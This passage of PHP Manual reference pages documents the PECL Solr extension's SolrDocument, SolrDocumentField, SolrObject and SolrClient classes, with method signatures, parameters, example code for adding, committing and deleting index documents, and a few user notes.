fieldValue

The value for this field.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Removes a field

  • « SolrDocument::offsetSet
  • SolrDocument::reset »
  • PHP Manual
  • SolrDocument
  • Removes a field

SolrDocument::offsetUnset

(PECL solr >= 0.9.2)

SolrDocument::offsetUnset — Removes a field

Description

public void SolrDocument::offsetUnset ( string $fieldName )

Removes a field from the document.

Parameters

fieldName

The name of the field.

Return Values

No return value.

User Contributed Notes

There are no user contributed notes for this page.


This is an alias to SolrDocument::clear()

  • « SolrDocument::offsetUnset
  • SolrDocument::rewind »
  • PHP Manual
  • SolrDocument
  • This is an alias to SolrDocument::clear()

SolrDocument::reset

(PECL solr >= 0.9.2)

SolrDocument::reset — This is an alias to SolrDocument::clear()

Description

public bool SolrDocument::reset ( void )

This is an alias to SolrDocument::clear()

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Resets the internal pointer to the beginning

  • « SolrDocument::reset
  • SolrDocument::serialize »
  • PHP Manual
  • SolrDocument
  • Resets the internal pointer to the beginning

SolrDocument::rewind

(PECL solr >= 0.9.2)

SolrDocument::rewind — Resets the internal pointer to the beginning

Description

public void SolrDocument::rewind ( void )

Resets the internal pointer to the beginning.

Parameters

This function has no parameters.

Return Values

This method has no return value.

User Contributed Notes

There are no user contributed notes for this page.


Used for custom serialization

  • « SolrDocument::rewind
  • SolrDocument::__set »
  • PHP Manual
  • SolrDocument
  • Used for custom serialization

SolrDocument::serialize

(PECL solr >= 0.9.2)

SolrDocument::serialize — Used for custom serialization

Description

public string SolrDocument::serialize ( void )

Used for custom serialization.

Parameters

This function has no parameters.

Return Values

Returns a string representing the serialized Solr document.

User Contributed Notes

There are no user contributed notes for this page.


Adds another field to the document

  • « SolrDocument::serialize
  • SolrDocument::sort »
  • PHP Manual
  • SolrDocument
  • Adds another field to the document

SolrDocument::__set

(PECL solr >= 0.9.2)

SolrDocument::__set — Adds another field to the document

Description

public bool SolrDocument::__set ( string $fieldName , string $fieldValue )

Adds another field to the document. Used to set the fields as new properties.

Parameters

fieldName

Name of the field.

fieldValue

Field value.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Sorts the fields in the document

  • « SolrDocument::__set
  • SolrDocument::toArray »
  • PHP Manual
  • SolrDocument
  • Sorts the fields in the document

SolrDocument::sort

(PECL solr >= 0.9.2)

SolrDocument::sort — Sorts the fields in the document

Description

public bool SolrDocument::sort ( int $sortOrderBy [, int $sortDirection = SolrDocument::SORT_ASC ] )

The fields are rearranged according to the specified criteria and sort direction

   Fields can be sorted by boost values, field names and number of values.

   The sortOrderBy parameter must be one of :

   * SolrDocument::SORT_FIELD_NAME
   * SolrDocument::SORT_FIELD_BOOST_VALUE
   * SolrDocument::SORT_FIELD_VALUE_COUNT

   The sortDirection can be one of :

   * SolrDocument::SORT_DEFAULT
   * SolrDocument::SORT_ASC
   * SolrDocument::SORT_DESC

   The default way is to sort in ascending order.

Parameters

sortOrderBy

The sort criteria.

sortDirection

The sort direction.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array representation of the document

  • « SolrDocument::sort
  • SolrDocument::unserialize »
  • PHP Manual
  • SolrDocument
  • Returns an array representation of the document

SolrDocument::toArray

(PECL solr >= 0.9.2)

SolrDocument::toArray — Returns an array representation of the document

Description

public array SolrDocument::toArray ( void )

Returns an array representation of the document.

Parameters

This function has no parameters.

Return Values

Returns an array representation of the document.

Examples

Example #1 SolrDocument::toArray() example

<?php

$doc = new SolrDocument();

$doc->addField('id', 1123);

$doc->features = "PHP Client Side";
$doc->features = "Fast development cycles";

$doc['cat'] = 'Software';
$doc['cat'] = 'Custom Search';
$doc->cat   = 'Information Technology';

print_r($doc->toArray());

?>

The above example will output something similar to:

Array
(
    [document_boost] => 0
    [field_count] => 3
    [fields] => Array
        (
            [0] => SolrDocumentField Object
                (
                    [name] => id
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => 1123
                        )

                )

            [1] => SolrDocumentField Object
                (
                    [name] => features
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => PHP Client Side
                            [1] => Fast development cycles
                        )

                )

            [2] => SolrDocumentField Object
                (
                    [name] => cat
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => Software
                            [1] => Custom Search
                            [2] => Information Technology
                        )

                )

        )

)

User Contributed Notes

There are no user contributed notes for this page.


Custom serialization of SolrDocument objects

  • « SolrDocument::toArray
  • SolrDocument::__unset »
  • PHP Manual
  • SolrDocument
  • Custom serialization of SolrDocument objects

SolrDocument::unserialize

(PECL solr >= 0.9.2)

SolrDocument::unserialize — Custom serialization of SolrDocument objects

Description

public void SolrDocument::unserialize ( string $serialized )

Custom serialization of SolrDocument objects

Parameters

serialized

An XML representation of the document.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.


Removes a field from the document

  • « SolrDocument::unserialize
  • SolrDocument::valid »
  • PHP Manual
  • SolrDocument
  • Removes a field from the document

SolrDocument::__unset

(PECL solr >= 0.9.2)

SolrDocument::__unset — Removes a field from the document

Description

public bool SolrDocument::__unset ( string $fieldName )

Removes a field from the document when the field is access as an object property.

Parameters

fieldName

The name of the field.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Checks if the current position internally is still valid

  • « SolrDocument::__unset
  • SolrDocumentField »
  • PHP Manual
  • SolrDocument
  • Checks if the current position internally is still valid

SolrDocument::valid

(PECL solr >= 0.9.2)

SolrDocument::valid — Checks if the current position internally is still valid

Description

public bool SolrDocument::valid ( void )

Checks if the current position internally is still valid. It is used during foreach operations.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success and FALSE if the current position is no longer valid.

User Contributed Notes

There are no user contributed notes for this page.


The SolrDocumentField class

(PECL solr >= 0.9.2)

Introduction

This represents a field in a Solr document. All its properties are read-only.

Class synopsis

final SolrDocumentField {
/* Properties */
readonly public string $name ;
readonly public float $boost ;
readonly public array $values ;
/* Methods */
public __construct ( void )
public void __destruct ( void )
}

Properties

name

The name of the field.

boost

The boost value for the field

values

An array of values for this field

Table of Contents

  • SolrDocumentField::__construct — Constructor
  • SolrDocumentField::__destruct — Destructor

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • « SolrDocumentField
  • SolrDocumentField::__destruct »
  • PHP Manual
  • SolrDocumentField
  • Constructor

SolrDocumentField::__construct

(PECL solr >= 0.9.2)

SolrDocumentField::__construct — Constructor

Description

public SolrDocumentField::__construct ( void )

Constructor.

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • « SolrDocumentField::__construct
  • SolrObject »
  • PHP Manual
  • SolrDocumentField
  • Destructor

SolrDocumentField::__destruct

(PECL solr >= 0.9.2)

SolrDocumentField::__destruct — Destructor

Description

public void SolrDocumentField::__destruct ( void )

Destructor.

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.


The SolrObject class

(PECL solr >= 0.9.2)

Introduction

This is an object whose properties can also by accessed using the array syntax. All its properties are read-only.

Class synopsis

final SolrObject implements ArrayAccess {
/* Methods */
public __construct ( void )
public void __destruct ( void )
public array getPropertyNames ( void )
public bool offsetExists ( string $property_name )
public mixed offsetGet ( string $property_name )
public void offsetSet ( string $property_name , string $property_value )
public void offsetUnset ( string $property_name )
}

Table of Contents

  • SolrObject::__construct — Creates Solr object
  • SolrObject::__destruct — Destructor
  • SolrObject::getPropertyNames — Returns an array of all the names of the properties
  • SolrObject::offsetExists — Checks if the property exists
  • SolrObject::offsetGet — Used to retrieve a property
  • SolrObject::offsetSet — Sets the value for a property
  • SolrObject::offsetUnset — Unsets the value for the property

User Contributed Notes

There are no user contributed notes for this page.


Creates Solr object

  • « SolrObject
  • SolrObject::__destruct »
  • PHP Manual
  • SolrObject
  • Creates Solr object

SolrObject::__construct

(PECL solr >= 0.9.2)

SolrObject::__construct — Creates Solr object

Description

public SolrObject::__construct ( void )

Creates Solr object.

Parameters

This function has no parameters.

Return Values

None

Examples

Example #1 SolrObject::__construct() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • « SolrObject::__construct
  • SolrObject::getPropertyNames »
  • PHP Manual
  • SolrObject
  • Destructor

SolrObject::__destruct

(PECL solr >= 0.9.2)

SolrObject::__destruct — Destructor

Description

public void SolrObject::__destruct ( void )

The destructor

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of all the names of the properties

  • « SolrObject::__destruct
  • SolrObject::offsetExists »
  • PHP Manual
  • SolrObject
  • Returns an array of all the names of the properties

SolrObject::getPropertyNames

(PECL solr >= 0.9.2)

SolrObject::getPropertyNames — Returns an array of all the names of the properties

Description

public array SolrObject::getPropertyNames ( void )

Returns an array of all the names of the properties

Parameters

This function has no parameters.

Return Values

Returns an array.

User Contributed Notes

dohpaz at nospam dot net 20-May-2010 08:21
It should be noted that when using SolrObject::getPropertyNames(), the array keys have an invisible character that needs to be trim()'d to work correctly.


Checks if the property exists

  • « SolrObject::getPropertyNames
  • SolrObject::offsetGet »
  • PHP Manual
  • SolrObject
  • Checks if the property exists

SolrObject::offsetExists

(PECL solr >= 0.9.2)

SolrObject::offsetExists — Checks if the property exists

Description

public bool SolrObject::offsetExists ( string $property_name )

Checks if the property exists. This is used when the object is treated as an array.

Parameters

property_name

The name of the property.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Used to retrieve a property

  • « SolrObject::offsetExists
  • SolrObject::offsetSet »
  • PHP Manual
  • SolrObject
  • Used to retrieve a property

SolrObject::offsetGet

(PECL solr >= 0.9.2)

SolrObject::offsetGet — Used to retrieve a property

Description

public mixed SolrObject::offsetGet ( string $property_name )

Used to get the value of a property. This is used when the object is treated as an array.

Parameters

property_name

Name of the property.

Return Values

Returns the property value.

User Contributed Notes

There are no user contributed notes for this page.


Sets the value for a property

  • « SolrObject::offsetGet
  • SolrObject::offsetUnset »
  • PHP Manual
  • SolrObject
  • Sets the value for a property

SolrObject::offsetSet

(PECL solr >= 0.9.2)

SolrObject::offsetSet — Sets the value for a property

Description

public void SolrObject::offsetSet ( string $property_name , string $property_value )

Sets the value for a property. This is used when the object is treated as an array. This object is read-only. This should never be attempted.

Parameters

property_name

The name of the property.

property_value

The new value.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.


Unsets the value for the property

  • « SolrObject::offsetSet
  • SolrClient »
  • PHP Manual
  • SolrObject
  • Unsets the value for the property

SolrObject::offsetUnset

(PECL solr >= 0.9.2)

SolrObject::offsetUnset — Unsets the value for the property

Description

public void SolrObject::offsetUnset ( string $property_name )

Unsets the value for the property. This is used when the object is treated as an array. This object is read-only. This should never be attempted.

Parameters

property_name

The name of the property.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 SolrObject::offsetUnset() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The SolrClient class

(PECL solr >= 0.9.2)

Introduction

Used to send requests to a Solr server. Currently, cloning and serialization of SolrClient instances is not supported.

Class synopsis

final SolrClient {
/* Constants */
const integer SEARCH_SERVLET_TYPE = 1 ;
const integer UPDATE_SERVLET_TYPE = 2 ;
const integer THREADS_SERVLET_TYPE = 4 ;
const integer PING_SERVLET_TYPE = 8 ;
const integer TERMS_SERVLET_TYPE = 16 ;
const integer SYSTEM_SERVLET_TYPE = 32 ;
const string DEFAULT_SEARCH_SERVLET = select ;
const string DEFAULT_UPDATE_SERVLET = update ;
const string DEFAULT_THREADS_SERVLET = admin/threads ;
const string DEFAULT_PING_SERVLET = admin/ping ;
const string DEFAULT_TERMS_SERVLET = terms ;
const string DEFAULT_SYSTEM_SERVLET = system ;
/* Methods */
public SolrUpdateResponse addDocument ( SolrInputDocument $doc [, bool $overwrite = true [, int $commitWithin = 0 ]] )
public void addDocuments ( array $docs [, bool $overwrite = true [, int $commitWithin = 0 ]] )
public SolrUpdateResponse commit ([ bool $softCommit = false [, bool $waitSearcher = true [, bool $expungeDeletes = false ]]] )
public __construct ( array $clientOptions )
public SolrUpdateResponse deleteById ( string $id )
public SolrUpdateResponse deleteByIds ( array $ids )
public SolrUpdateResponse deleteByQueries ( array $queries )
public SolrUpdateResponse deleteByQuery ( string $query )
public void __destruct ( void )
public string getDebug ( void )
public array getOptions ( void )
public SolrUpdateResponse optimize ([ int $maxSegments = 1 [, bool $softCommit = true [, bool $waitSearcher = true ]]] )
public SolrPingResponse ping ( void )
public SolrQueryResponse query ( SolrParams $query )
public void request ( string $raw_request )
public SolrUpdateResponse rollback ( void )
public void setResponseWriter ( string $responseWriter )
public bool setServlet ( int $type , string $value )
public void threads ( void )
}

Predefined Constants

SolrClient::SEARCH_SERVLET_TYPE

Used when updating the search servlet.

SolrClient::UPDATE_SERVLET_TYPE

Used when updating the update servlet.

SolrClient::THREADS_SERVLET_TYPE

Used when updating the threads servlet.

SolrClient::PING_SERVLET_TYPE

Used when updating the ping servlet.

SolrClient::TERMS_SERVLET_TYPE

Used when updating the terms servlet.

SolrClient::SYSTEM_SERVLET_TYPE

Used when retrieving system information from the system servlet.

SolrClient::DEFAULT_SEARCH_SERVLET

This is the intial value for the search servlet.

SolrClient::DEFAULT_UPDATE_SERVLET

This is the intial value for the update servlet.

SolrClient::DEFAULT_THREADS_SERVLET

This is the intial value for the threads servlet.

SolrClient::DEFAULT_PING_SERVLET

This is the intial value for the ping servlet.

SolrClient::DEFAULT_TERMS_SERVLET

This is the intial value for the terms servlet used for the TermsComponent

SolrClient::DEFAULT_SYSTEM_SERVLET

This is the intial value for the system servlet used to obtain Solr Server information

Table of Contents

  • SolrClient::addDocument — Adds a document to the index
  • SolrClient::addDocuments — Adds a collection of SolrInputDocument instances to the index
  • SolrClient::commit — Finalizes all add/deletes made to the index
  • SolrClient::__construct — Constructor for the SolrClient object
  • SolrClient::deleteById — Delete by Id
  • SolrClient::deleteByIds — Deletes by Ids
  • SolrClient::deleteByQueries — Removes all documents matching any of the queries
  • SolrClient::deleteByQuery — Deletes all documents matching the given query
  • SolrClient::__destruct — Destructor for SolrClient
  • SolrClient::getDebug — Returns the debug data for the last connection attempt
  • SolrClient::getOptions — Returns the client options set internally
  • SolrClient::optimize — Defragments the index
  • SolrClient::ping — Checks if Solr server is still up
  • SolrClient::query — Sends a query to the server
  • SolrClient::request — Sends a raw update request
  • SolrClient::rollback — Rollbacks all add/deletes made to the index since the last commit
  • SolrClient::setResponseWriter — Sets the response writer used to prepare the response from Solr
  • SolrClient::setServlet — Changes the specified servlet type to a new value
  • SolrClient::threads — Checks the threads status

User Contributed Notes

There are no user contributed notes for this page.


Adds a document to the index

  • « SolrClient
  • SolrClient::addDocuments »
  • PHP Manual
  • SolrClient
  • Adds a document to the index

SolrClient::addDocument

(PECL solr >= 0.9.2)

SolrClient::addDocument — Adds a document to the index

Description

public SolrUpdateResponse SolrClient::addDocument ( SolrInputDocument $doc [, bool $overwrite = true [, int $commitWithin = 0 ]] )

This method adds a document to the index.

Parameters

doc

The SolrInputDocument instance.

overwrite

Whether to overwrite existing document or not. If FALSE there will be duplicates (several documents with the same ID).

Warning

PECL Solr < 2.0 $allowDups was used instead of $overwrite, which does the same functionality with exact opposite bool flag.

$allowDups = false is the same as $overwrite = true

commitWithin

Number of milliseconds within which to auto commit this document. Available since Solr 1.4 . Default (0) means disabled.

When this value specified, it leaves the control of when to do the commit to Solr itself, optimizing number of commits to a minimum while still fulfilling the update latency requirements, and Solr will automatically do a commit when the oldest add in the buffer is due.

Return Values

Returns a SolrUpdateResponse object or throws an Exception on failure.

Errors/Exceptions

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

Examples

Example #1 SolrClient::addDocument() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

// you will have to commit changes to be written if you didn't use $commitWithin
$client->commit();

print_r($updateResponse->getResponse());

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

)

Example #2 SolrClient::addDocument() example 2

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

// No need to call commit() because $commitWithin is passed, so Solr Server will auto commit within 10 seconds
$updateResponse = $client->addDocument($doc, false, 10000);

print_r($updateResponse->getResponse());

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

)

See Also

  • SolrClient::addDocuments() - Adds a collection of SolrInputDocument instances to the index
  • SolrClient::commit() - Finalizes all add/deletes made to the index

User Contributed Notes

There are no user contributed notes for this page.


Adds a collection of SolrInputDocument instances to the index

  • « SolrClient::addDocument
  • SolrClient::commit »
  • PHP Manual
  • SolrClient
  • Adds a collection of SolrInputDocument instances to the index

SolrClient::addDocuments

(PECL solr >= 0.9.2)

SolrClient::addDocuments — Adds a collection of SolrInputDocument instances to the index

Description

public void SolrClient::addDocuments ( array $docs [, bool $overwrite = true [, int $commitWithin = 0 ]] )

Adds a collection of documents to the index.

Parameters

docs

An array containing the collection of SolrInputDocument instances. This array must be an actual variable.

overwrite

Whether to overwrite existing documents or not. If FALSE there will be duplicates (several documents with the same ID).

Warning

PECL Solr < 2.0 $allowDups was used instead of $overwrite, which does the same functionality with exact opposite bool flag.

$allowDups = false is the same as $overwrite = true

commitWithin

Number of milliseconds within which to auto commit this document. Available since Solr 1.4 . Default (0) means disabled.

When this value specified, it leaves the control of when to do the commit to Solr itself, optimizing number of commits to a minimum while still fulfilling the update latency requirements, and Solr will automatically do a commit when the oldest add in the buffer is due.

Return Values

Returns a SolrUpdateResponse object or throws an exception on failure.

Errors/Exceptions

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

Examples

Example #1 SolrClient::addDocuments() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$doc2 = clone $doc;

$doc2->deleteField('id');
$doc2->addField('id', 334456);

$docs = array($doc, $doc2);

$updateResponse = $client->addDocuments($docs);

// no changes will be written to disk unless $commitWithin is passed or SolrClient::commit is called

print_r($updateResponse->getResponse());

?>

The above example will output something similar to:

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 2
        )

)

See Also

  • SolrClient::addDocument() - Adds a document to the index
  • SolrClient::commit() - Finalizes all add/deletes made to the index

User Contributed Notes

bjorn at bjorn-erik dot biz 23-Sep-2010 03:07
If you want to add a bunch of documents from a database, this would be the way to go, assuming you have fetched the records from the database and put them in an array called $recordset:

<?php
foreach ($recordset as $key=>$value){
   $docs_array[$key] = new SolrInputDocument();
   $docs_array[$key]->addField('id', $value['document_id']);
   $docs_array[$key]->addField('name',$value['document_name']);
}
$client->addDocuments($docs_array);
?>


Finalizes all add/deletes made to the index

  • « SolrClient::addDocuments
  • SolrClient::__construct »
  • PHP Manual
  • SolrClient
  • Finalizes all add/deletes made to the index

SolrClient::commit

(PECL solr >= 0.9.2)

SolrClient::commit — Finalizes all add/deletes made to the index

Description

public SolrUpdateResponse SolrClient::commit ([ bool $softCommit = false [, bool $waitSearcher = true [, bool $expungeDeletes = false ]]] )

This method finalizes all add/deletes made to the index.

Parameters

softCommit

This will refresh the 'view' of the index in a more performant manner, but without "on-disk" guarantees. (Solr4.0+)

A soft commit is much faster since it only makes index changes visible and does not fsync index files or write a new index descriptor. If the JVM crashes or there is a loss of power, changes that occurred after the last hard commit will be lost. Search collections that have near-real-time requirements (that want index changes to be quickly visible to searches) will want to soft commit often but hard commit less frequently.

waitSearcher

block until a new searcher is opened and registered as the main query searcher, making the changes visible.

expungeDeletes

Merge segments with deletes away. (Solr1.4+)

Return Values

Returns a SolrUpdateResponse object on success or throws an exception on failure.

Errors/Exceptions

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

Changelog

Version | Description
1.1.0, 2.0.0 | $maxSegments removed
2.0.0b | API Changed: SolrClient::commit ([ int $maxSegments = 0 [, bool $softCommit = false [, bool $waitSearcher = true[, bool $expungeDeletes = false ]]] )
0.9.2 | Signature: SolrClient::commit ([ int $maxSegments = 1 [, bool $waitFlush = true [, bool $waitSearcher = true ]]] ). $waitFlush: Block until index changes are flushed to disk.

Notes

Warning

PECL Solr >= 2.0 only supports Solr Server >= 4.0

See Also

  • SolrClient::optimize() - Defragments the index
  • SolrClient::rollback() - Rollbacks all add/deletes made to the index since the last commit

User Contributed Notes

jason at jasonplayne dot com 03-Jan-2013 02:53
Go easy on your use of commit - use the <autocommit /> section solrconfig.xml instead.

Also consider using optimize() once a day if you are doing lots of adds/removes.


Constructor for the SolrClient object

  • « SolrClient::commit
  • SolrClient::deleteById »
  • PHP Manual
  • SolrClient
  • Constructor for the SolrClient object

SolrClient::__construct

(PECL solr >= 0.9.2)

SolrClient::__construct — Constructor for the SolrClient object

Description

public SolrClient::__construct ( array $clientOptions )

Constructor for the SolrClient object

Parameters

clientOptions

This is an array containing one of the following keys :

- secure          (Boolean value indicating whether or not to connect in secure mode)
 - hostname        (The hostname for the Solr server)
 - port            (The port number)
 - path            (The path to solr)
 - wt              (The name of the response writer e.g. xml, json)
 - login           (The username used for HTTP Authentication, if any)
 - password        (The HTTP Authentication password)
 - proxy_host      (The hostname for the proxy server, if any)
 - proxy_port      (The proxy port)
 - proxy_login     (The proxy username)
 - proxy_password  (The proxy password)
 - timeout         (This is maximum time in seconds allowed for the http data transfer operation. Default is 30 seconds)
 - ssl_cert        (File name to a PEM-formatted file containing the private key + private certificate (concatenated in that order) )
 - ssl_key         (File name to a PEM-formatted private key file only)
 - ssl_keypassword (Password for private key)
 - ssl_cainfo      (Name of file holding one or more CA certificates to verify peer with)
 - ssl_capath      (Name of directory holding multiple CA certificates to verify peer with )

 Please note the if the ssl_cert file only contains the private certificate, you have to specify a separate ssl_key file

 The ssl_keypassword option is required if the ssl_cert or ssl_key options are set.

Errors/Exceptions

Throws SolrIllegalArgumentException on failure.

Examples

Example #1 SolrClient::__construct() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
    'path'     => SOLR_PATH_TO_SOLR,
    'wt'       => 'xml',
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

?>

The above example will output something similar to:

See Also

  • SolrClient::getOptions() - Returns the client options set internally

User Contributed Notes

There are no user contributed notes for this page.


Delete by Id

  • « SolrClient::__construct
  • SolrClient::deleteByIds »
  • PHP Manual
  • SolrClient
  • Delete by Id

SolrClient::deleteById

(PECL solr >= 0.9.2)

SolrClient::deleteById — Delete by Id

Description

public SolrUpdateResponse SolrClient::deleteById ( string $id )

Deletes the document with the specified ID. Where ID is the value of the uniqueKey field declared in the schema

Parameters

id

The value of the uniqueKey field declared in the schema

Return Values

Returns a SolrUpdateResponse on success and throws an exception on failure.

Errors/Exceptions

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

See Also

  • SolrClient::deleteByIds() - Deletes by Ids
  • SolrClient::deleteByQuery() - Deletes all documents matching the given query
  • SolrClient::deleteByQueries() - Removes all documents matching any of the queries

User Contributed Notes

litzinger at gmail dot com 22-Aug-2011 11:47
May need to run commit() after a delete query.

<?php
$this->solrClient->deleteByQuery('id:'.$entryId);
$result = $this->solrClient->commit();
?>


Deletes by Ids

  • « SolrClient::deleteById
  • SolrClient::deleteByQueries »
  • PHP Manual
  • SolrClient
  • Deletes by Ids

SolrClient::deleteByIds

(PECL solr >= 0.9.2)

SolrClient::deleteByIds — Deletes by Ids

Description

public SolrUpdateResponse SolrClient::deleteByIds ( array $ids )

Deletes a collection of documents with the specified set of ids.

Parameters

ids

An array of IDs representing the uniqueKey field declared in the schema for each document to be deleted. This must be an actual php variable.

Return Values

Returns a SolrUpdateResponse on success and throws an exception on failure.

Errors/Exceptions

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

See Also

  • SolrClient::deleteById() - Delete by Id
  • SolrClient::deleteByQuery() - Deletes all documents matching the given query
  • SolrClient::deleteByQueries() - Removes all documents matching any of the queries

User Contributed Notes

There are no user contributed notes for this page.


Removes all documents matching any of the queries

  • « SolrClient::deleteByIds
  • SolrClient::deleteByQuery »
  • PHP Manual
  • SolrClient
  • Removes all documents matching any of the queries

SolrClient::deleteByQueries

(PECL solr >= 0.9.2)

SolrClient::deleteByQueries — Removes all documents matching any of the queries

Description

public SolrUpdateResponse SolrClient::deleteByQueries ( array $queries )

Removes all documents matching any of the queries

Parameters

queries

The array of queries. This must be an actual php variable.

Return Values

Returns a SolrUpdateResponse on success and throws a SolrClientException on failure.

Errors/Exceptions

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

See Also

  • SolrClient::deleteById() - Delete by Id
  • SolrClient::deleteByIds() - Deletes by Ids
  • SolrClient::deleteByQuery() - Deletes all documents matching the given query

User Contributed Notes

There are no user contributed notes for this page.


Deletes all documents matching the given query

  • « SolrClient::deleteByQueries
  • SolrClient::__destruct »
  • PHP Manual
  • SolrClient
  • Deletes all documents matching the given query

SolrClient::deleteByQuery

(PECL solr >= 0.9.2)

SolrClient::deleteByQuery — Deletes all documents matching the given query

Description

public SolrUpdateResponse SolrClient::deleteByQuery ( string $query )

Deletes all documents matching the given query.

Parameters

query

The query

Return Values

Returns a SolrUpdateResponse on success and throws an exception on failure.

Errors/Exceptions

Throws SolrClientException if the client had failed, or there was a connection issue.

Throws SolrServerException if the Solr Server had failed to process the request.

Examples

Example #1 SolrQuery::deleteByQuery() example

<?php

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

//This will erase the entire index
$client->deleteByQuery("*:*");
$client->commit();

?>

See Also

  • SolrClient::deleteById() - Delete by Id
  • SolrClient::deleteByIds() - Deletes by Ids
  • SolrClient::deleteByQueries() - Removes all documents matching any of the queries

User Contributed Notes

There are no user contributed notes for this page.


Destructor for SolrClient

  • « SolrClient::deleteByQuery
  • SolrClient::getDebug »
  • PHP Manual
  • SolrClient
  • Destructor for SolrClient

SolrClient::__destruct

(PECL solr >= 0.9.2)

SolrClient::__destruct — Destructor for SolrClient

Description

public void SolrClient::__destruct ( void )

Destructor

Parameters

This function has no parameters.

Return Values

Destructor for SolrClient

See Also

  • SolrClient::__construct() - Constructor for the SolrClient object

User Contributed Notes

There are no user contributed notes for this page.


Returns the debug data for the last connection attempt

  • « SolrClient::__destruct
  • SolrClient::getOptions »
  • PHP Manual
  • SolrClient
  • Returns the debug data for the last connection attempt

SolrClient::getDebug

(PECL solr >= 0.9.7)

SolrClient::getDebug — Returns the debug data for the last connection attempt

Description

public string SolrClient::getDebug ( void )

Returns the debug data for the last connection attempt

Parameters

This function has no parameters.

Return Values

Returns a string on success and null if there is nothing to return.

User Contributed Notes

There are no user contributed notes for this page.


Returns the client options set internally

  • « SolrClient::getDebug
  • SolrClient::optimize »
  • PHP Manual
  • SolrClient
  • Returns the client options set internally

SolrClient::getOptions

(PECL solr >= 0.9.6)

SolrClient::getOptions — Returns the client options set internally

Description

public array SolrClient::getOptions ( void )

Returns the client options set internally. Very useful for debugging. The values returned are readonly and can only be set when the object is instantiated.

Parameters

This function has no parameters.

Return Values

Returns an array containing all the options for the SolrClient object set internally.

See Also

  • SolrClient::__construct() - Constructor for the SolrClient object

User Contributed Notes

There are no user contributed notes for this page.


Defragments the index

  • « SolrClient::getOptions
  • SolrClient::ping »
  • PHP Manual
  • SolrClient
  • Defragments the index

SolrClient::optimize

(PECL solr >= 0.9.2)

SolrClient::optimize — Defragments the index

Description

public SolrUpdateResponse SolrClient::optimize ([ int $maxSegments = 1 [, bool $softCommit = true [, bool $waitSearcher = true ]]] )

Defragments the index for faster search performance.

Parameters

maxSegments

Optimizes down to at most this number of segments. Since Solr 1.3

softCommit

This will refresh the 'view' of the index in a more performant manner, but without "on-disk" guarantees. (Solr4.0+)

waitSearcher

Block until a new searcher is opened and registered as the main query searcher, making the changes visible.

Return Values

Returns a SolrUpdateResponse on success or throws an exception on failure.

Errors/Exceptions

Throws SolrClientException if the client had failed, or there was a connection issue.

